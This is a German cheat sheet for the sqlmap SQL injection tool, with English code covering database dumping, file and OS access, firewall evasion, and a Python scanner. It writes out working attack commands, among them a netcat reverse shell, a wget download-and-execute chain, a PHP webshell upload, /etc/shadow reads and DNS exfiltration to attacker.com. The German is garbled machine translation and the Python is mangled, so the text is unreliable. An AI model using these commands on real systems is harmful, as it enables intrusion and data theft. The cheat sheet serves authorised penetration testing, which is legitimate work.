SQLmap Cheat Sheet

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Überblick

SQLmap ist ein Open-Source-Pensionstest-Tool, das den Prozess der Erkennung und Ausnutzung von SQL-Injektionsfehlern und der Übernahme von Datenbankservern automatisiert. SQLmap wurde von Bernardo Damele und Miroslav Stampar entwickelt und hat sich zum de facto Standard für SQL-Injektionstests entwickelt und bietet umfassende Möglichkeiten zur Identifizierung, Ausbeutung und Nachbenutzung von SQL-Injektionslücken in einer Vielzahl von Datenbankverwaltungssystemen. Die hochentwickelten Erkennungsalgorithmen und umfangreiche Datenbank-Unterstützung machen es zu einem wesentlichen Bestandteil der Web Application Security Testing und Datenbank Security Assessment Workflows.

Die Kernkraft von SQLmap liegt in der fortschrittlichen SQL-Injektionserkennungs- und -ausbeutungsmaschine, die zahlreiche Injektionstechniken unterstützt, darunter booleanbasierte Blind-, zeitbasierte Blind-, fehlerbasierte, UNION-Abfrage-basierte, gestapelte Abfragen und Out-of-Band-Injektionsmethoden. SQLmap kann automatisch SQL-Injektionslücken in GET, POST, HTTP-Header und Cookie-Parametern erkennen und ausnutzen, während verschiedene Datenbankverwaltungssysteme wie MySQL, Oracle, PostgreSQL, Microsoft SQL Server, Microsoft Access, IBM DB2, SQLite, Firebird, Sybase, SAP MaxDB, HSQLDB und Informix unterstützt werden. Die intelligenten Fingerabdruckfunktionen des Tools können Datenbankversionen, zugrunde liegende Betriebssysteme und Anwendungstechnologien identifizieren, um die Verwertungsstrategien zu optimieren.

SQLmap's umfassendes Feature-Set beinhaltet Datenbank-Enumerationsfunktionen für die Extraktion von Datenbankschemas, Tabellen, Spalten und Daten sowie erweiterte Funktionen für die Nachbenutzung von Dateisystemen, die Ausführung von Betriebssystemen und die Exfiltration von Daten aus dem Netzwerk. Das Tool unterstützt verschiedene Authentifizierungsmechanismen, Proxykonfigurationen und Evasionstechniken, um Web Application Firewalls und Intrusionserkennungssysteme zu umgehen. Mit seinen umfangreichen Anpassungsoptionen, detaillierten Logging-Funktionen und Integrationsunterstützung für automatisierte Sicherheitstest-Pipelines bietet SQLmap sowohl manuelle Testflexibilität als auch automatisierte Bewertungsmöglichkeiten für eine umfassende Datenbanksicherheitsvalidierung.

Installation

Ubuntu/Debian Installation

Installation von SQLmap auf Ubuntu/Debian-Systemen:

```bash

Update system packages

sudo apt update && sudo apt upgrade -y

Install SQLmap from repositories

sudo apt install -y sqlmap

Install dependencies

sudo apt install -y python3 python3-pip

Verify installation

sqlmap --version

Install latest version from source

git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev cd sqlmap-dev

Run from source

python3 sqlmap.py --version

Install additional dependencies

pip3 install -r requirements.txt

Create symbolic link

sudo ln -sf $(pwd)/sqlmap.py /usr/local/bin/sqlmap

Verify installation

sqlmap --version ```_

CentOS/RHEL Installation

```bash

Install EPEL repository

sudo yum install -y epel-release

Install Python and Git

sudo yum install -y python3 python3-pip git

Clone SQLmap repository

git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git cd sqlmap

Install dependencies

pip3 install -r requirements.txt

Create executable script

cat > /usr/local/bin/sqlmap ``<< 'EOF'

!/bin/bash

python3 /opt/sqlmap/sqlmap.py "$@" EOF

Move SQLmap to /opt

sudo mv sqlmap /opt/ sudo chmod +x /usr/local/bin/sqlmap

Verify installation

sqlmap --version ```_

macOS Installation

```bash

Install using Homebrew

brew install sqlmap

Install using MacPorts

sudo port install sqlmap

Install from source

git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git cd sqlmap python3 sqlmap.py --version

Install Python dependencies

pip3 install -r requirements.txt

Verify installation

sqlmap --version ```_

Windows Installation

```bash

Download from GitHub

https://github.com/sqlmapproject/sqlmap/archive/master.zip

Extract to desired location

Example: C:\sqlmap

Install Python 3.x from python.org

Install dependencies

pip install -r requirements.txt

Run SQLmap

python sqlmap.py --version

Alternative: Install with Chocolatey

choco install sqlmap

Verify installation

sqlmap --version ```_

Docker Installation

SQLmap in Docker ausführen:

```bash

Pull official SQLmap image

docker pull paoloo/sqlmap

Run basic scan

docker run --rm paoloo/sqlmap -u "http://example.com/page.php?id=1"

Run with custom options

docker run --rm -v $(pwd):/data paoloo/sqlmap \ -u "http://example.com/page.php?id=1" \ --batch --output-dir=/data

Create custom Dockerfile

cat >`` Dockerfile.sqlmap << 'EOF' FROM python:3.9-alpine

Install dependencies

RUN apk add --no-cache git

Clone SQLmap

RUN git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git /opt/sqlmap

Set working directory

WORKDIR /opt/sqlmap

Install Python dependencies

RUN pip install -r requirements.txt

Create entrypoint

ENTRYPOINT ["python3", "sqlmap.py"] EOF

Build custom image

docker build -f Dockerfile.sqlmap -t sqlmap-custom .

Run custom image

docker run --rm sqlmap-custom --version ```_

Basisnutzung

Zielvorgabe

Zielvorgaben für SQL-Injektionstests:

```bash

Test single URL with parameter

sqlmap -u "http://example.com/page.php?id=1"

Test URL with multiple parameters

sqlmap -u "http://example.com/page.php?id=1&name;=test"

Test specific parameter

sqlmap -u "http://example.com/page.php?id=1&name;=test" -p id

Test POST data

sqlmap -u "http://example.com/login.php" --data="username=admin&password;=test"

Test from request file

sqlmap -r request.txt

Test from Burp Suite log

sqlmap -l burp.log

Test with custom headers

sqlmap -u "http://example.com/page.php?id=1" \ --headers="X-Forwarded-For: 127.0.0.1\nUser-Agent: Custom Agent"

Test with cookies

sqlmap -u "http://example.com/page.php?id=1" \ --cookie="PHPSESSID=abc123; user=admin"

Test HTTP methods

sqlmap -u "http://example.com/api/user/1" --method=PUT

Test with authentication

sqlmap -u "http://example.com/page.php?id=1" \ --auth-type=basic --auth-cred="admin:password"

Test HTTPS with custom certificate

sqlmap -u "https://example.com/page.php?id=1" \ --ignore-ssl-errors ```_

Erkennungsoptionen

Konfiguration der SQL-Injektionserkennung:

```bash

Basic detection

sqlmap -u "http://example.com/page.php?id=1"

Specify injection techniques

sqlmap -u "http://example.com/page.php?id=1" --technique=BEUST

B: Boolean-based blind

E: Error-based

U: Union query-based

S: Stacked queries

T: Time-based blind

Test specific DBMS

sqlmap -u "http://example.com/page.php?id=1" --dbms=mysql

Increase detection level

sqlmap -u "http://example.com/page.php?id=1" --level=5

Increase risk level

sqlmap -u "http://example.com/page.php?id=1" --risk=3

Test all parameters

sqlmap -u "http://example.com/page.php?id=1&name;=test" --all

Skip URL encoding

sqlmap -u "http://example.com/page.php?id=1" --skip-urlencode

Custom injection payloads

sqlmap -u "http://example.com/page.php?id=1" --tamper=space2comment

Test with time delay

sqlmap -u "http://example.com/page.php?id=1" --time-sec=10

Test with custom boundaries

sqlmap -u "http://example.com/page.php?id=1" --boundaries="*" ```_

Datenbankaufzählung

Aufzählung von Datenbankinformationen:

```bash

Get current user

sqlmap -u "http://example.com/page.php?id=1" --current-user

Get current database

sqlmap -u "http://example.com/page.php?id=1" --current-db

Check if user is DBA

sqlmap -u "http://example.com/page.php?id=1" --is-dba

List databases

sqlmap -u "http://example.com/page.php?id=1" --dbs

List tables in database

sqlmap -u "http://example.com/page.php?id=1" -D database_name --tables

List columns in table

sqlmap -u "http://example.com/page.php?id=1" -D database_name -T table_name --columns

Dump table data

sqlmap -u "http://example.com/page.php?id=1" -D database_name -T table_name --dump

Dump specific columns

sqlmap -u "http://example.com/page.php?id=1" -D database_name -T table_name -C "username,password" --dump

Dump all databases

sqlmap -u "http://example.com/page.php?id=1" --dump-all

Get database users

sqlmap -u "http://example.com/page.php?id=1" --users

Get user passwords

sqlmap -u "http://example.com/page.php?id=1" --passwords

Get user privileges

sqlmap -u "http://example.com/page.php?id=1" --privileges

Get database schema

sqlmap -u "http://example.com/page.php?id=1" --schema

Search for specific data

sqlmap -u "http://example.com/page.php?id=1" --search -C password ```_

Erweiterte Funktionen

Zugriff auf das System

Zugriff auf das Dateisystem durch SQL-Injektion:

```bash

Read file from file system

sqlmap -u "http://example.com/page.php?id=1" --file-read="/etc/passwd"

Write file to file system

sqlmap -u "http://example.com/page.php?id=1" --file-write="shell.php" --file-dest="/var/www/html/shell.php"

Upload file via SQL injection

echo "<?php system(\$_GET['cmd']); ?>" > webshell.php sqlmap -u "http://example.com/page.php?id=1" --file-write="webshell.php" --file-dest="/var/www/html/cmd.php"

Read common configuration files

sqlmap -u "http://example.com/page.php?id=1" --file-read="/etc/mysql/my.cnf" sqlmap -u "http://example.com/page.php?id=1" --file-read="/var/www/html/config.php" sqlmap -u "http://example.com/page.php?id=1" --file-read="/etc/apache2/apache2.conf"

Read application files

sqlmap -u "http://example.com/page.php?id=1" --file-read="/var/log/apache2/access.log" sqlmap -u "http://example.com/page.php?id=1" --file-read="/var/log/mysql/error.log"

Download multiple files

for file in /etc/passwd /etc/shadow /etc/hosts; do sqlmap -u "http://example.com/page.php?id=1" --file-read="$file" --batch done ```_

Zugriff auf das Betriebssystem

Befehle des Betriebssystems ausführen:

```bash

Execute OS commands

sqlmap -u "http://example.com/page.php?id=1" --os-cmd="whoami"

Interactive OS shell

sqlmap -u "http://example.com/page.php?id=1" --os-shell

Execute PowerShell commands (Windows)

sqlmap -u "http://example.com/page.php?id=1" --os-pwn

Upload and execute Meterpreter payload

sqlmap -u "http://example.com/page.php?id=1" --os-pwn --msf-path="/opt/metasploit-framework"

Execute commands with specific user

sqlmap -u "http://example.com/page.php?id=1" --os-cmd="id" --priv-esc

Execute batch commands

sqlmap -u "http://example.com/page.php?id=1" --os-cmd="uname -a; ps aux; netstat -tulpn"

Create reverse shell

sqlmap -u "http://example.com/page.php?id=1" --os-cmd="nc -e /bin/bash 192.168.1.100 4444"

Download and execute script

sqlmap -u "http://example.com/page.php?id=1" --os-cmd="wget http://192.168.1.100/script.sh -O /tmp/script.sh && chmod +x /tmp/script.sh && /tmp/script.sh" ```_

WAF Bypass Techniken

Umgehung der Web-Anwendung Firewalls:

```bash

Use tamper scripts

sqlmap -u "http://example.com/page.php?id=1" --tamper=space2comment sqlmap -u "http://example.com/page.php?id=1" --tamper=charencode sqlmap -u "http://example.com/page.php?id=1" --tamper=randomcase

Multiple tamper scripts

sqlmap -u "http://example.com/page.php?id=1" --tamper=space2comment,charencode,randomcase

Common WAF bypass tampers

sqlmap -u "http://example.com/page.php?id=1" --tamper=apostrophemask sqlmap -u "http://example.com/page.php?id=1" --tamper=equaltolike sqlmap -u "http://example.com/page.php?id=1" --tamper=greatest sqlmap -u "http://example.com/page.php?id=1" --tamper=halfversionedmorekeywords sqlmap -u "http://example.com/page.php?id=1" --tamper=modsecurityversioned sqlmap -u "http://example.com/page.php?id=1" --tamper=space2mysqldash sqlmap -u "http://example.com/page.php?id=1" --tamper=versionedkeywords sqlmap -u "http://example.com/page.php?id=1" --tamper=versionedmorekeywords

Custom User-Agent

sqlmap -u "http://example.com/page.php?id=1" --user-agent="Mozilla/5.0 (compatible; Googlebot/2.1)"

Random User-Agent

sqlmap -u "http://example.com/page.php?id=1" --random-agent

Custom delay between requests

sqlmap -u "http://example.com/page.php?id=1" --delay=2

Use proxy for requests

sqlmap -u "http://example.com/page.php?id=1" --proxy="http://127.0.0.1:8080"

Use Tor network

sqlmap -u "http://example.com/page.php?id=1" --tor --tor-type=SOCKS5

Chunked transfer encoding

sqlmap -u "http://example.com/page.php?id=1" --chunked ```_

Advanced Injection Techniques

Spezialisierte Injektionstechniken:

```bash

Second-order SQL injection

sqlmap -u "http://example.com/register.php" --data="username=admin&email;=test@test.com" --second-order="http://example.com/profile.php"

DNS exfiltration

sqlmap -u "http://example.com/page.php?id=1" --dns-domain="attacker.com"

Time-based blind injection with custom time

sqlmap -u "http://example.com/page.php?id=1" --technique=T --time-sec=5

Union-based injection with custom columns

sqlmap -u "http://example.com/page.php?id=1" --technique=U --union-cols=1-20

Error-based injection

sqlmap -u "http://example.com/page.php?id=1" --technique=E

Boolean-based blind injection

sqlmap -u "http://example.com/page.php?id=1" --technique=B

Stacked queries

sqlmap -u "http://example.com/page.php?id=1" --technique=S

Custom injection point

sqlmap -u "http://example.com/page.php" --data="id=1*&name;=test" --method=POST

JSON injection

sqlmap -u "http://example.com/api/user" --data='\\{"id": 1*, "name": "test"\\}' --headers="Content-Type: application/json"

XML injection

sqlmap -u "http://example.com/soap" --data='<?xml version="1.0"?>1*' --headers="Content-Type: text/xml" ```_

Automatisierungsskripte

Umfassender SQL Injection Scanner

```python

!/usr/bin/env python3

Comprehensive SQL injection testing with SQLmap

import subprocess import json import os import sys import time import argparse from datetime import datetime import xml.etree.ElementTree as ET import requests from urllib.parse import urlparse, parse_qs

class SQLmapScanner: def init(self, sqlmap_path="sqlmap"): self.sqlmap_path = sqlmap_path self.results = \\{\\} self.session_dir = f"/tmp/sqlmap_session_\\{int(time.time())\\}"

def verify_sqlmap_installation(self):
    """Verify SQLmap installation"""
    try:
        result = subprocess.run([self.sqlmap_path, "--version"],
                              capture_output=True, text=True)
        if result.returncode == 0:
            version_line = result.stdout.strip()
            print(f"SQLmap version: \\\\{version_line\\\\}")
            return True
        else:
            print("SQLmap not found or not working")
            return False
    except Exception as e:
        print(f"Error checking SQLmap installation: \\\\{e\\\\}")
        return False

def create_session_directory(self):
    """Create session directory for SQLmap output"""
    try:
        os.makedirs(self.session_dir, exist_ok=True)
        print(f"Session directory created: \\\\{self.session_dir\\\\}")
        return True
    except Exception as e:
        print(f"Error creating session directory: \\\\{e\\\\}")
        return False

def test_url_for_sqli(self, url, method="GET", data=None, headers=None, cookies=None):
    """Test URL for SQL injection vulnerabilities"""
    print(f"Testing URL for SQL injection: \\\\{url\\\\}")

    cmd = [
        self.sqlmap_path,
        "-u", url,
        "--batch",
        "--output-dir", self.session_dir,
        "--level", "3",
        "--risk", "2",
        "--technique", "BEUST",
        "--threads", "5"
    ]

    if method.upper() == "POST" and data:
        cmd.extend(["--data", data])

    if headers:
        header_string = "\n".join([f"\\\\{k\\\\}: \\\\{v\\\\}" for k, v in headers.items()])
        cmd.extend(["--headers", header_string])

    if cookies:
        cookie_string = "; ".join([f"\\\\{k\\\\}=\\\\{v\\\\}" for k, v in cookies.items()])
        cmd.extend(["--cookie", cookie_string])

    try:
        result = subprocess.run(cmd, capture_output=True, text=True, timeout=1800)

        if result.returncode == 0:
            vulnerable = self.parse_sqlmap_output(result.stdout)
            return \\\\{
                'vulnerable': vulnerable,
                'output': result.stdout,
                'error': result.stderr
            \\\\}
        else:
            print(f"SQLmap test failed: \\\\{result.stderr\\\\}")
            return \\\\{
                'vulnerable': False,
                'output': result.stdout,
                'error': result.stderr
            \\\\}
    except subprocess.TimeoutExpired:
        print("SQLmap test timed out")
        return \\\\{
            'vulnerable': False,
            'output': "",
            'error': "Timeout"
        \\\\}
    except Exception as e:
        print(f"Error during SQLmap test: \\\\{e\\\\}")
        return \\\\{
            'vulnerable': False,
            'output': "",
            'error': str(e)
        \\\\}

def parse_sqlmap_output(self, output):
    """Parse SQLmap output to determine if vulnerable"""
    vulnerable_indicators = [
        "is vulnerable",
        "injectable",
        "Parameter:",
        "Type:",
        "Title:",
        "Payload:"
    ]

    for indicator in vulnerable_indicators:
        if indicator in output:
            return True

    return False

def enumerate_database(self, url, method="GET", data=None):
    """Enumerate database information"""
    print(f"Enumerating database for: \\\\{url\\\\}")

    enumeration_commands = [
        ["--current-user"],
        ["--current-db"],
        ["--is-dba"],
        ["--dbs"],
        ["--users"],
        ["--passwords"]
    ]

    enumeration_results = \\\\{\\\\}

    for enum_cmd in enumeration_commands:
        cmd = [
            self.sqlmap_path,
            "-u", url,
            "--batch",
            "--output-dir", self.session_dir
        ]

        if method.upper() == "POST" and data:
            cmd.extend(["--data", data])

        cmd.extend(enum_cmd)

        try:
            result = subprocess.run(cmd, capture_output=True, text=True, timeout=600)

            if result.returncode == 0:
                enum_type = enum_cmd[0].replace("--", "")
                enumeration_results[enum_type] = \\\\{
                    'output': result.stdout,
                    'success': True
                \\\\}
            else:
                enum_type = enum_cmd[0].replace("--", "")
                enumeration_results[enum_type] = \\\\{
                    'output': result.stderr,
                    'success': False
                \\\\}
        except subprocess.TimeoutExpired:
            enum_type = enum_cmd[0].replace("--", "")
            enumeration_results[enum_type] = \\\\{
                'output': "Timeout",
                'success': False
            \\\\}
        except Exception as e:
            enum_type = enum_cmd[0].replace("--", "")
            enumeration_results[enum_type] = \\\\{
                'output': str(e),
                'success': False
            \\\\}

    return enumeration_results

def dump_database_data(self, url, database=None, table=None, columns=None):
    """Dump database data"""
    print(f"Dumping database data for: \\\\{url\\\\}")

    cmd = [
        self.sqlmap_path,
        "-u", url,
        "--batch",
        "--output-dir", self.session_dir
    ]

    if database and table and columns:
        cmd.extend(["-D", database, "-T", table, "-C", columns, "--dump"])
    elif database and table:
        cmd.extend(["-D", database, "-T", table, "--dump"])
    elif database:
        cmd.extend(["-D", database, "--tables"])
    else:
        cmd.extend(["--dbs"])

    try:
        result = subprocess.run(cmd, capture_output=True, text=True, timeout=1800)

        if result.returncode == 0:
            return \\\\{
                'success': True,
                'output': result.stdout,
                'error': result.stderr
            \\\\}
        else:
            return \\\\{
                'success': False,
                'output': result.stdout,
                'error': result.stderr
            \\\\}
    except subprocess.TimeoutExpired:
        return \\\\{
            'success': False,
            'output': "",
            'error': "Timeout"
        \\\\}
    except Exception as e:
        return \\\\{
            'success': False,
            'output': "",
            'error': str(e)
        \\\\}

def test_file_access(self, url):
    """Test file system access capabilities"""
    print(f"Testing file access for: \\\\{url\\\\}")

    test_files = [
        "/etc/passwd",
        "/etc/hosts",
        "/var/www/html/index.php",
        "C:\\Windows\\System32\\drivers\\etc\\hosts",
        "C:\\inetpub\\wwwroot\\web.config"
    ]

    file_access_results = \\\\{\\\\}

    for test_file in test_files:
        cmd = [
            self.sqlmap_path,
            "-u", url,
            "--batch",
            "--output-dir", self.session_dir,
            "--file-read", test_file
        ]

        try:
            result = subprocess.run(cmd, capture_output=True, text=True, timeout=300)

            file_access_results[test_file] = \\\\{
                'accessible': result.returncode == 0 and "do you want to retrieve" not in result.stdout,
                'output': result.stdout,
                'error': result.stderr
            \\\\}
        except subprocess.TimeoutExpired:
            file_access_results[test_file] = \\\\{
                'accessible': False,
                'output': "",
                'error': "Timeout"
            \\\\}
        except Exception as e:
            file_access_results[test_file] = \\\\{
                'accessible': False,
                'output': "",
                'error': str(e)
            \\\\}

    return file_access_results

def test_os_access(self, url):
    """Test operating system command execution"""
    print(f"Testing OS access for: \\\\{url\\\\}")

    test_commands = [
        "whoami",
        "id",
        "uname -a",
        "systeminfo"
    ]

    os_access_results = \\\\{\\\\}

    for test_cmd in test_commands:
        cmd = [
            self.sqlmap_path,
            "-u", url,
            "--batch",
            "--output-dir", self.session_dir,
            "--os-cmd", test_cmd
        ]

        try:
            result = subprocess.run(cmd, capture_output=True, text=True, timeout=300)

            os_access_results[test_cmd] = \\\\{
                'executed': result.returncode == 0 and "command standard output" in result.stdout,
                'output': result.stdout,
                'error': result.stderr
            \\\\}
        except subprocess.TimeoutExpired:
            os_access_results[test_cmd] = \\\\{
                'executed': False,
                'output': "",
                'error': "Timeout"
            \\\\}
        except Exception as e:
            os_access_results[test_cmd] = \\\\{
                'executed': False,
                'output': "",
                'error': str(e)
            \\\\}

    return os_access_results

def comprehensive_scan(self, target_urls, output_dir="/tmp/sqlmap_comprehensive"):
    """Perform comprehensive SQL injection assessment"""
    print("Starting comprehensive SQL injection assessment...")

    # Create output directory
    os.makedirs(output_dir, exist_ok=True)

    assessment_results = \\\\{
        'start_time': time.time(),
        'target_urls': target_urls,
        'vulnerable_urls': [],
        'enumeration_results': \\\\{\\\\},
        'file_access_results': \\\\{\\\\},
        'os_access_results': \\\\{\\\\},
        'dump_results': \\\\{\\\\}
    \\\\}

    for url in target_urls:
        print(f"Testing URL: \\\\{url\\\\}")

        # Test for SQL injection
        sqli_result = self.test_url_for_sqli(url)

        if sqli_result['vulnerable']:
            print(f"SQL injection found in: \\\\{url\\\\}")
            assessment_results['vulnerable_urls'].append(url)

            # Enumerate database
            enum_results = self.enumerate_database(url)
            assessment_results['enumeration_results'][url] = enum_results

            # Test file access
            file_results = self.test_file_access(url)
            assessment_results['file_access_results'][url] = file_results

            # Test OS access
            os_results = self.test_os_access(url)
            assessment_results['os_access_results'][url] = os_results

            # Dump sample data
            dump_results = self.dump_database_data(url)
            assessment_results['dump_results'][url] = dump_results
        else:
            print(f"No SQL injection found in: \\\\{url\\\\}")

    assessment_results['end_time'] = time.time()
    assessment_results['duration'] = assessment_results['end_time'] - assessment_results['start_time']

    # Generate reports
    self.generate_json_report(assessment_results, os.path.join(output_dir, "sqlmap_results.json"))
    self.generate_html_report(assessment_results, os.path.join(output_dir, "sqlmap_report.html"))

    print(f"Comprehensive assessment completed in \\\\{assessment_results['duration']:.2f\\\\} seconds")
    print(f"Found SQL injection in \\\\{len(assessment_results['vulnerable_urls'])\\\\} URLs")

    return assessment_results

def generate_json_report(self, results, output_file):
    """Generate JSON report"""
    with open(output_file, 'w') as f:
        json.dump(results, f, indent=2, default=str)
    print(f"JSON report generated: \\\\{output_file\\\\}")

def generate_html_report(self, results, output_file):
    """Generate HTML report"""
    html_content = f"""

SQLmap Comprehensive Assessment Report

Generated: \\\\{datetime.now().isoformat()\\\\}

Assessment Duration: \\\\{results['duration']:.2f\\\\} seconds

Executive Summary

• Total URLs Tested: \\\\{len(results['target_urls'])\\\\}
• Vulnerable URLs: \\\\{len(results['vulnerable_urls'])\\\\}
• File Access Possible: \\\\{sum(1 for url_results in results['file_access_results'].values() for file_result in url_results.values() if file_result['accessible'])\\\\}
• OS Command Execution: \\\\{sum(1 for url_results in results['os_access_results'].values() for cmd_result in url_results.values() if cmd_result['executed'])\\\\}

Vulnerable URLs

""" for url in results['vulnerable_urls']: db_access = "Yes" if url in results['enumeration_results'] else "No" file_access = "Yes" if any(f['accessible'] for f in results['file_access_results'].get(url, \\\\{\\\\}).values()) else "No" os_access = "Yes" if any(c['executed'] for c in results['os_access_results'].get(url, \\\\{\\\\}).values()) else "No" html_content += f""" """ html_content += """

URL	Database Access	File Access	OS Access
\\\\{url\\\\}	\\\\{db_access\\\\}	\\\\{file_access\\\\}	\\\\{os_access\\\\}

Detailed Findings

""" for url in results['vulnerable_urls']: html_content += f"""

\\\\{url\\\\}

Database Enumeration

\\\\{json.dumps(results['enumeration_results'].get(url, \\\\{\\\\}), indent=2)\\\\}

File Access Results

\\\\{json.dumps(results['file_access_results'].get(url, \\\\{\\\\}), indent=2)\\\\}

OS Access Results

\\\\{json.dumps(results['os_access_results'].get(url, \\\\{\\\\}), indent=2)\\\\}

""" html_content += """

Recommendations

• Implement parameterized queries/prepared statements
• Use input validation and sanitization
• Apply principle of least privilege for database accounts
• Implement Web Application Firewall (WAF)
• Regular security code reviews and testing
• Keep database software updated
• Monitor database access and queries

"""

    with open(output_file, 'w') as f:
        f.write(html_content)

    print(f"HTML report generated: \\\\{output_file\\\\}")

def main(): parser = argparse.ArgumentParser(description='SQLmap Comprehensive Scanner') parser.add_argument('--urls', nargs='+', required=True, help='URLs to test') parser.add_argument('--output', default='/tmp/sqlmap_assessment', help='Output directory') parser.add_argument('--sqlmap-path', default='sqlmap', help='Path to SQLmap executable')

args = parser.parse_args()

# Initialize scanner
scanner = SQLmapScanner(args.sqlmap_path)

# Verify installation
if not scanner.verify_sqlmap_installation():
    print("SQLmap not properly installed or configured")
    sys.exit(1)

# Create session directory
if not scanner.create_session_directory():
    print("Failed to create session directory")
    sys.exit(1)

# Run comprehensive scan
results = scanner.comprehensive_scan(args.urls, args.output)

if results:
    print("Comprehensive assessment completed successfully")
else:
    print("Comprehensive assessment failed")
    sys.exit(1)

if name == "main": main() ```_

Integrationsbeispiele

CI/CD Integration

```yaml

Jenkins Pipeline for SQLmap Integration

pipeline \\{ agent \\{ label 'security-testing' \\}

environment \\\\{
    TARGET_URL = 'http: //test-app.company.com'
    SQLMAP_OUTPUT = './sqlmap-results'
\\\\}

stages \\\\{
    stage('Setup Environment') \\\\{
        steps \\\\{
            script \\\\{
                // Install SQLmap if not present
                sh '''
                    if ! command -v sqlmap &> /dev/null; then
                        git clone https: //github.com/sqlmapproject/sqlmap.git
                        export PATH=$PATH: $(pwd)/sqlmap
                    fi

                    sqlmap --version
                '''
            \\\\}
        \\\\}
    \\\\}

    stage('SQL Injection Testing') \\\\{
        steps \\\\{
            script \\\\{
                // Run SQLmap tests
                sh '''
                    mkdir -p $\\\\{SQLMAP_OUTPUT\\\\}

                    # Test main application endpoints
                    python3 sqlmap_scanner.py \
                        --urls "$\\\\{TARGET_URL\\\\}/login.php?id=1" \
                               "$\\\\{TARGET_URL\\\\}/search.php?q=test" \
                               "$\\\\{TARGET_URL\\\\}/product.php?id=1" \
                        --output $\\\\{SQLMAP_OUTPUT\\\\}
                '''
            \\\\}
        \\\\}
    \\\\}

    stage('Process Results') \\\\{
        steps \\\\{
            // Archive results
            archiveArtifacts artifacts: 'sqlmap-results/**/*', fingerprint: true

            // Publish report
            publishHTML([
                allowMissing: false,
                alwaysLinkToLastBuild: true,
                keepAll: true,
                reportDir: 'sqlmap-results',
                reportFiles: '*.html',
                reportName: 'SQLmap Assessment Report'
            ])

            // Check for vulnerabilities
            script \\\\{
                def vulnerabilities = sh(

| script: "grep -c 'vulnerable' sqlmap-results/*.json | | true", | returnStdout: true ).trim()

                if (vulnerabilities.toInteger() > 0) \\\\{
                    currentBuild.result = 'UNSTABLE'
                    echo "Found $\\\\{vulnerabilities\\\\} SQL injection vulnerabilities"
                \\\\}
            \\\\}
        \\\\}
    \\\\}
\\\\}

post \\\\{
    always \\\\{
        // Clean up sensitive data
        sh 'rm -rf sqlmap-results/*.log'
    \\\\}

    failure \\\\{
        // Send notification
        emailext (
            subject: "SQL Injection Testing Failed: $\\\\{env.JOB_NAME\\\\} - $\\\\{env.BUILD_NUMBER\\\\}",
            body: "SQL injection testing failed. Check console output for details.",
            to: "$\\\\{env.SECURITY_TEAM_EMAIL\\\\}"
        )
    \\\\}
\\\\}

\\} ```_

Fehlerbehebung

Gemeinsame Themen

Anmeldefragen: ```bash

Test basic connectivity

curl -I "http://example.com/page.php?id=1"

Use proxy for debugging

sqlmap -u "http://example.com/page.php?id=1" --proxy="http://127.0.0.1:8080"

Ignore SSL errors

sqlmap -u "https://example.com/page.php?id=1" --ignore-ssl-errors

Custom timeout

sqlmap -u "http://example.com/page.php?id=1" --timeout=30

Retry failed requests

sqlmap -u "http://example.com/page.php?id=1" --retries=3 ```_

Detection Issues: ```bash

Increase detection level and risk

sqlmap -u "http://example.com/page.php?id=1" --level=5 --risk=3

Test all parameters

sqlmap -u "http://example.com/page.php?id=1&name;=test" --all

Force specific DBMS

sqlmap -u "http://example.com/page.php?id=1" --dbms=mysql --force-ssl

Use different techniques

sqlmap -u "http://example.com/page.php?id=1" --technique=T --time-sec=10

Skip URL encoding

sqlmap -u "http://example.com/page.php?id=1" --skip-urlencode ```_

** WAF Bypass Issues:** ```bash

Use multiple tamper scripts

sqlmap -u "http://example.com/page.php?id=1" --tamper=space2comment,charencode,randomcase

Random User-Agent

sqlmap -u "http://example.com/page.php?id=1" --random-agent

Add delays

sqlmap -u "http://example.com/page.php?id=1" --delay=3

Use Tor

sqlmap -u "http://example.com/page.php?id=1" --tor --tor-type=SOCKS5

Custom headers

sqlmap -u "http://example.com/page.php?id=1" --headers="X-Originating-IP: 127.0.0.1" ```_

Leistungsoptimierung

Optimierung der SQLmap-Leistung:

```bash

Increase threads

sqlmap -u "http://example.com/page.php?id=1" --threads=10

Optimize for speed

sqlmap -u "http://example.com/page.php?id=1" --level=1 --risk=1

Skip unnecessary tests

sqlmap -u "http://example.com/page.php?id=1" --skip-waf

Use specific technique

sqlmap -u "http://example.com/page.php?id=1" --technique=U

Limit data retrieval

sqlmap -u "http://example.com/page.php?id=1" -D database -T table --start=1 --stop=100 ```_

Sicherheitsüberlegungen

Operationelle Sicherheit

Legal und Ethische Nutzung: - Nur Testanwendungen, die Sie besitzen oder eine ausdrückliche Erlaubnis zum Testen haben - Rechtsanforderungen für Web-Anwendungstests in Ihrer Gerichtsbarkeit verstehen - Durchführung ordnungsgemäßer Berechtigungs- und Dokumentationsverfahren - Einschränkungen des Umfangs und Regeln des Engagements - Bewusstsein für mögliche Datenexposition und Servicestörungen

Datenschutz: - Verschlüsseln von SQLmap-Sitzungsdateien und Ausgabedaten - Umsetzung sicherer Datenschutzbestimmungen für Bewertungsergebnisse - Zugriff auf SQL-Injektionstests und -Ergebnisse steuern - Sichere Übermittlung von Bewertungsberichten und Erkenntnissen - Regelmäßige Reinigung von temporären Dateien und Sitzungsdaten

Defensive Überlegungen

** Erkennung und Prävention:** - Monitor für SQLmap Signaturen und SQL-Injektionsmuster - Web Application Firewalls (WAF) mit SQL Injektionsschutz implementieren - Bereitstellung von Datenbankaktivitätsüberwachung und Anomalieerkennung - Regelmäßige Sicherheitscodebewertungen und statische Analyse - Eingangsvalidierung und parametrisierte Abfrage-Implementierung

Referenzen

1. SQLmap Offizielle Dokumentation
2. SQLmap GitHub Repository
3. [OWASP SQL Injection Prevention](https://_LINK_5__
4. [SQL Injection Testing Guide](__LINK_5___
5. (__LINK_5___)